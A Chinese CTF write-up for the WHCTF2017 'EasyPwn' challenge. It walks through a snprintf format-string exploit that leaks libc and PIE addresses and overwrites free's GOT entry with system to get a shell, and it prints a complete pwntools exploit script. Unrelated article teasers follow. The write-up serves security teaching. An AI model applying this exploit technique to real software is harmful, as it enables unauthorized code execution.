攻防世界PWN之EasyPwn题解_ha1vk的博客-程序员秘密

技术标签: 二进制漏洞  CTF  pwn  PWN  缓冲区溢出  逆向工程  

EasyPwn

首先,看一下程序的保护机制

开启了CANARY、NX和PIE,RELRO部分开启,我们可以改写GOT表

然后,我们用IDA分析

read的maxsize参数比变量的空间大小要小,因此无法溢出到栈底,加上开启了PIE,因此排除了ROP的方法

我们再仔细观察一下,发现snprintf在执行的过程中,v2可以溢出到v3,而v3存储的是格式化字符串,因此,我们可以溢出v2,修改格式化字符串,达到任意地址的读写。

我们再看看主函数,

我们可以利用snprintf格式化字符串漏洞,修改freeGOT表,让它指向system,然后我们第二次输入/bin/sh字符串,那么/bin/sh会存到堆里,当调用free(buf),时,就相当于执行了system(binsh_addr),我们就能getshell。

 

修改free的GOT表时,也有技巧,我们可以只修改后4字节数据,因此free和system在libc中的位置偏差也就那么多,那么它们在内存中的地址,也就最后几字节不一样,我们只需覆盖最后几字节数据即可。这也叫pritial write技术。

 

那么我们首先得让free的GOT表中的地址加载好,那么我们得先调用一次free。

  1. #这一步是为了让freeGOT表内容加载  
  2. sh.sendlineafter('Input Your Code:\n','2')  
  3. sh.sendlineafter('Input Your Name:\n','test')  

 

 

接下来,我们就可以开启啦。

由于开启了PIE,我们得先利用snprintf泄露一些地址。

在我们进入功能1函数前,我们看到栈里有一个__libc_start_main+F0的地址,我们可以利用snprintf把它的值暴露出来。

 

为什么能够工作?(%s不是在snprintf执行时就传入了吗,%s如果变化了,按理来说不影响snprintf)

 

经过不断的调试,发现,snprintf把格式化字符串的地址记下来,然后,每次要处理一个字符时,先从地址处取格式化字符串,然后再根据格式化字符串来处理字符。由于地址是没变的,变的是地址里面的内容。

  1. sh.sendlineafter('Input Your Code:\n','1')  
  2. #泄露__libc_start_main+F0的地址  
  3. payload = 'a'*(0x3E8)+'bb%397$p'  
  4. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  5. sh.recvuntil('0x')  
  6. __libc_start_main = int(sh.recvuntil('\n'),16) - 0xF0  

这里,解释一下payload,前面0x3E8 = 0x7F0(v3位置) – 0x408(v2位置)

 

注意,接下来的两个字符bb是重要的(不能是aa,即不能与前面的那0x3E8个字符一样,不知道为什么,其他的都可以,有知道的大佬欢迎留言),这是为了覆盖原先的%s,根据上面说的snprintf工作过程,snprintf处理前面0x3E8个字符时,用的都是%s来格式化,当处理第一个b,此时b已经覆盖了%号,格式化字符串变为bs,当处理第二个b时,此时b覆盖了字符s,格式化字符串变成bb。接下来,%397$p被原模原样的覆盖到了bb的后面,也就是最后,格式化字符串变成了bb%397$p,当snprintf读到格式化字符串为bb%397$p,变打印了bb0x[397个元素的值]

%397$p就是距栈底397个位置的数据(也就是__libc_start_main+F0),这是如何得到的?

如图,在我们跟踪进入snprintf函数以后,并且还未对rsp做调整时,栈顶rsp为0x7FFD176702D0,然后我们找到__libc_start_main+F0在栈里的位置,为0x7FFD17670F38

那么

(0x7FFD17670F38 –0x7FFD176702D0) / 8 = 397

我们利用同样的方法泄露init的地址

那么,现在我们就能计算出程序的加载基地址和libc的加载基地址了

  1. libc = LibcSearcher('__libc_start_main',__libc_start_main)  
  2. #获得libc加载基地址  
  3. libc_base = __libc_start_main - libc.dump('__libc_start_main')  
  4. system_addr = libc_base + libc.dump('system')  
  5. print 'system addr=',hex(system_addr)  
  6.   
  7. sh.sendlineafter('Input Your Code:\n','1')  
  8. #泄露init的地址  
  9. payload = 'a'*(0x3E8)+'bb%396$p'  
  10. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  11. sh.recvuntil('0x')  
  12.   
  13. init_addr = int(sh.recvuntil('\n'),16)  
  14. #获得程序的加载基地址,0xDA0init在二进制文件中的静态地址  
  15. elf_base = init_addr - 0xDA0  

然后,我们得到了基地址,我们就能得到free的GOT表地址和system的地址。

 

然后,我们该如何来修改free的GOT表呢?

首先,我们不能把p64(addr)放格式化字符串的前面,因为p64(addr)里面有0,会导致snprintf遇到0后就结束,不能读取到我们后来的格式化字符串。

所以必须放后面,类似于这样

  1. ;  
  2. payload =  'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr + 2)  

其中,%133$hn代表把距栈顶133个位置处的数据当成地址,往那个地址处写一个值,hn表示写一个WORD(字)的数据,也就是2字节数据,并且值表示在这之前,snprintf已经打印了多少个字符,具体可以去学习一下字符串格式化漏洞的相关知识。

ljust(16,'a')是为了凑出16字节,格式化字符串可能超过8字节,但不会超过16字节,并且,由于要8字节对齐,所以需要补足。

这个133是如何得到的?

当进入snprintf,当还没变更rsp时,rsp栈顶为0x7FFF4D0A1BE0,然后我们看到我们输入的数据是从0x 7FFF4D0A1C10开始的

于是公式为

X = (0x 7FFF4D0A1C10 - 0x7FFF4D0A1BE0) / 8 + (0x3E8 + 16) / 8 = 133

那么,我们最终写出exp脚本如下

  1. #coding:utf8  
  2. from pwn import *  
  3. from LibcSearcher import *  
  4.   
  5. #context(log_level='debug')  
  6. sh = process('./pwn1')  
  7. #sh = remote('111.198.29.45',43257)  
  8. elf = ELF('./pwn1')  
  9.   
  10. #这一步是为了让freeGOT表内容加载  
  11. sh.sendlineafter('Input Your Code:\n','2')  
  12. sh.sendlineafter('Input Your Name:\n','test')  
  13.   
  14.   
  15. sh.sendlineafter('Input Your Code:\n','1')  
  16. #泄露__libc_start_main+F0的地址  
  17. payload = 'a'*(0x3E8)+'bb%397$p'  
  18. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  19. sh.recvuntil('0x')  
  20. __libc_start_main = int(sh.recvuntil('\n'),16) - 0xF0  
  21.   
  22. libc = LibcSearcher('__libc_start_main',__libc_start_main)  
  23. #获得libc加载基地址  
  24. libc_base = __libc_start_main - libc.dump('__libc_start_main')  
  25. system_addr = libc_base + libc.dump('system')  
  26. print 'system addr=',hex(system_addr)  
  27.   
  28. sh.sendlineafter('Input Your Code:\n','1')  
  29. #泄露init的地址  
  30. payload = 'a'*(0x3E8)+'bb%396$p'  
  31. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  32. sh.recvuntil('0x')  
  33.   
  34. init_addr = int(sh.recvuntil('\n'),16)  
  35. #获得程序的加载基地址,0xDA0init在二进制文件中的静态地址  
  36. elf_base = init_addr - 0xDA0  
  37. #freeGOT表地址  
  38. free_addr = elf_base + elf.got['free']  
  39.   
  40. print 'free_addr=',hex(free_addr)  
  41.   
  42. #以下两步修改freeGOT表内容,让它指向system  
  43. sh.sendlineafter('Input Your Code:\n','1')  
  44. #覆写倒数的第34字节数据  
  45. data = (system_addr & 0xFFFFFFFF) >> 16  
  46. #那个百分号前的两个aa是为了凑出8字节  
  47. payload =  'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr + 2)  
  48. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  49.   
  50. #覆写倒数的2字节数据  
  51. data = system_addr & 0xFFFF  
  52. sh.sendlineafter('Input Your Code:\n','1')  
  53. payload =  'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr)  
  54. sh.sendafter('Welcome To WHCTF2017:\n',payload)  
  55.   
  56. #getshell  
  57. sh.sendlineafter('Input Your Code:\n','2')  
  58. sh.sendlineafter('Input Your Name:\n','/bin/sh')  
  59.   
  60. sh.interactive() 

 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/seaaseesa/article/details/103089382

智能推荐

oracle中计算两个日期之间的差值_寒枫叶的博客-程序员秘密_oracle日期相差

2016年10月29日 19:18:03阅读数:10506最近几天在工作中用到了一项计算时间的功能,计算两个时间之间的天数差,顺道总结一下oracle中的语句:两个Date类型字段:START_DATE,END_DATE,计算这两个日期的时间差(分别以天,小时,分钟,秒,毫秒):天:ROUND(TO_NUMBER(END_DATE - START_DATE))小时:ROUND(TO...

“华为云杯”2020深圳开放数据应用创新大赛 ·粤港澳大湾区强降水临近预测赛题相关资料整理_JerryX.new的博客-程序员秘密

“华为云杯”2020深圳开放数据应用创新大赛 ·粤港澳大湾区强降水临近预测赛题整理目录:“华为云杯”2020深圳开放数据应用创新大赛 ·粤港澳大湾区强降水临近预测赛题整理0. 赛题背景1. 赛题说明2. 数据说明2.1 数据规则2.2. 雷达数据存储格式2.3 标准雷达数据集读取程序2.4 注意事项3. 评分标准4. 提交说明0. 赛题背景粤港澳大湾区包括深圳、香港、广州、澳门等重要城市和地...

MyEclipse 2017 CI 3 安装教程+破解+汉化,英化_竹川夏目的博客-程序员秘密

MyEclipse,是在eclipse 基础上加上自己的插件开发而成的功能强大的企业级集成开发环境,主要用于Java、Java EE以及移动应用的开发。MyEclipse的功能非常强大,支持也十分广泛,尤其是对各种开源产品的支持相当不错

【计算几何】计算几何复习_Whjpji的博客-程序员秘密

点,线,面,形基本关系,点积叉积的理解poj2318 TOYS/****************************\ * @prob: poj2318 TOYS * * @auth: Wang Junji * * @stat: Accepted. * * @date: June. 25th, 2012 * * @memo: 点和

Qt开发之路49---类的静态成员(static)编译时,提示无法解析的外部符号_木木木.的博客-程序员秘密_static 无法解析的外部命令

一:问题:在类MyWidget.h中定义一个static成员 static double length;当在其他类中引用该成员时MyWidget::length,会提示length无法解析的外部符号。二:原因该静态成员变量没有初始化三:解决方法在MyWidget.cpp中最上方初始化该成员变量double MyWidget::length = 100.0;上一篇:Qt开发之路48—类的静态成员(static)...

地址栏中中文出现乱码解决方案js_月小满的博客-程序员秘密_地址栏的中文乱码

decodeURI() 函数可对 encodeURI() 函数编码过的 URI 进行解码。提示:使用encodeURI()函数可以对 URI 进行编码。

随便推点

CIC滤波器_myuzhao的博客-程序员秘密_cic滤波器

CIC滤波器CIC滤波器是级联积分梳状(Cascaded Integrator-Comb)滤波器的缩写,具有滤波器系数都是1,不需要乘法和线性相位的优点,因此在多速率系统中比较常用,之前研究PDM接口的MEMS麦克风时,将PDM信号转换为PCM时使用过,做个总结。滑动平均滤波器CIC滤波器是受到滑动平均启发来的,定义D点的移动平均为:y(n)=1D[x(n)+x(n−1)+...+x(n−D+1)]y(n)=\frac{1}{D}[x(n) + x(n-1) + ... + x(n-D+1)]y(n

计算机网络 网络层(二)子网与超网_胡乱huluan的博客-程序员秘密

计算机网络(八)学习计算机网络过程中的心得体会以及知识点的整理,方便我自己查找,也希望可以和大家一起交流。—— 网络层 ——文章目录计算机网络(八)—— 网络层 ——上接《计算机网络 网络层(一)》2.5 IP 数据报的格式2.6 IP 层转发分组的流程3. 划分子网和构造超网4. 网际控制报文协议 ICMP5. 互联网的路由选择协议6. IPv67. IP 多播8. 虚拟专用网 VPN...

python爬虫实战——轻松学会电脑桌面壁纸爬取_一定要加;的博客-程序员秘密_python爬虫桌面

python——Requests一、写在前面本文所需要的python库有:requests、pyquery、os、time。为保证代码的运行请先安装好对应的python库。详细安装说明:使用pip 安装 requests使用pycharm安装 requestspyquery 安装...

当软件定义汽车成为趋势,未来汽车是否可以理解为四个轮子上的超级计算机?_小熊coder的博客-程序员秘密

一.传统汽车的软件现状如何?互联网人看传统汽车的软件,就像普通观众去博物馆看看考古发掘。这么又老又笨的系统怎么还在世,还没被革命呢!在新四化的趋势下,传统汽车的软件发展仿佛是口诛笔伐的旧社会代表,被无数进步势力不断diss。然而,拥有这些老掉牙软件的传统汽车却像野草一样,不但没有没落,而且还在扩张领地。对于比较新潮的互联网软件,传统汽车似乎完全不搭界。那么传统汽车真的有软件吗?如果有,这样的软件还有生命力吗?传统汽车的软件发展,怎么这么慢?拿比较简单的空调系统来举例说一下。软件定义汽车的功能和性能。。...

Siebel CRM 全接触_艾沙可牛的博客-程序员秘密

 作者简介何荣勤先生,Siebel 认证咨询专家,从事IT业多年,并拥有Intentia Movex、Siebel eBusiness 等应用系统的丰富实施经验。目前在澳大利亚悉尼一家美国跨国公司任信息技术部主管,并兼任大中华区客户关系管理 (GreaterChinaCRM.org)研究所所长。 1、前言CRM(客户关系管理)可以说是近几年来讨论得最多最热的话题之一,不论是在国

配置yum来安装光盘rpm包并解决依赖性问题_weixin_33937913的博客-程序员秘密

1、检查系统中有没有安装createrepo包,如果没有,进行安装。# rpm -qa|grep createrepo# rpm -ivh /media/Server/createrepoxxxx2、将光盘或者iso mount到/media3、建立文件夹 mkdir -p /var/RHEL5/{Cluster,ClusterStorage,Server,VT}4、生成re...

推荐文章

热门文章

相关标签